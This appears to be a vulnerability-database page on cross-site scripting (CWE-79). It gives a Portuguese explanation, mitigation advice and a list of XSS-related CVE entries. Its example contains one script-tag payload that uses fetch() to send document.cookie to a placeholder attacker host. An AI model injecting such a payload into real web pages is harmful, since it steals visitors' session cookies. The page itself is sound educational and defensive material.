Fallos del tipo CWE-79

30.666 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-27888MEDIUMApache Druid: Server-Side Request Forgery and Cross-Site ScriptingEPSS 1.9%CVE-2022-0271—LearnPress < 4.1.6 - Reflected Cross-Site ScriptingEPSS 1.9%CVE-2023-0214MEDIUMXSS in Skyhigh Security SWGEPSS 1.9%CVE-2022-1756—Newsletter < 7.4.5 - Reflected Cross-Site ScriptingEPSS 1.9%CVE-2021-24987—Super Socializer < 7.13.30 - Reflected Cross-Site ScriptingEPSS 1.9%CVE-2020-26218HIGHHTML Injection in touchbase.aiEPSS 1.9%CVE-2019-17634—Eclipse Memory Analyzer version 1.9.1 and earlier is subject to a cross site scripting (XSS) vulnerability when generating an HTML report frEPSS 1.9%CVE-2023-29848MEDIUMBang Resto 1.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the itemName parameter in the admin/menu.php EPSS 1.9%CVE-2020-4054HIGHCross-site Scripting in SanitizeEPSS 1.9%CVE-2019-1010091—tinymce 4.7.11, 4.7.12 is affected by: CWE-79: Improper Neutralization of Input During Web Page Generation. The impact is: JavaScript code eEPSS 1.9%CVE-2021-24452—W3 Total Cache < 2.1.5 - Reflected XSS in Extensions Page (JS Context)EPSS 1.9%CVE-2020-24416HIGHBlind stored XSS in Marketo Sales insight plugin for SalesForceEPSS 1.9%CVE-2024-27314LOWStored XSS VulnerabilityEPSS 1.9%CVE-2026-48294HIGHAdobe Acrobat PDF Extension (Chrome) versions 26.5.2.2 and earlier are affected by a UXSS-class cross-origin data disclosure vulnerability. EPSS 1.9%CVE-2019-17632—In Eclipse Jetty versions 9.4.21.v20190926, 9.4.22.v20191022, and 9.4.23.v20191118, the generation of default unhandled Error response conteEPSS 1.9%CVE-2025-25296MEDIUMLabel Studio allows Cross-Site Scripting (XSS) via GET request to `/projects/upload-example` endpointEPSS 1.9%CVE-2018-16471—There is a possible XSS vulnerability in Rack before 2.0.6 and 1.6.11. Carefully crafted requests can impact the data returned by the `schemEPSS 1.9%CVE-2023-4973LOWAcademy LMS GET Parameter filter cross site scriptingEPSS 1.9%CVE-2021-22886—Rocket.Chat before 3.11, 3.10.5, 3.9.7, 3.8.8 is vulnerable to persistent cross-site scripting (XSS) using nested markdown tags allowing a rEPSS 1.9%CVE-2020-9740CRITICALStored XSS in AEM Design Importer ComponentEPSS 1.9%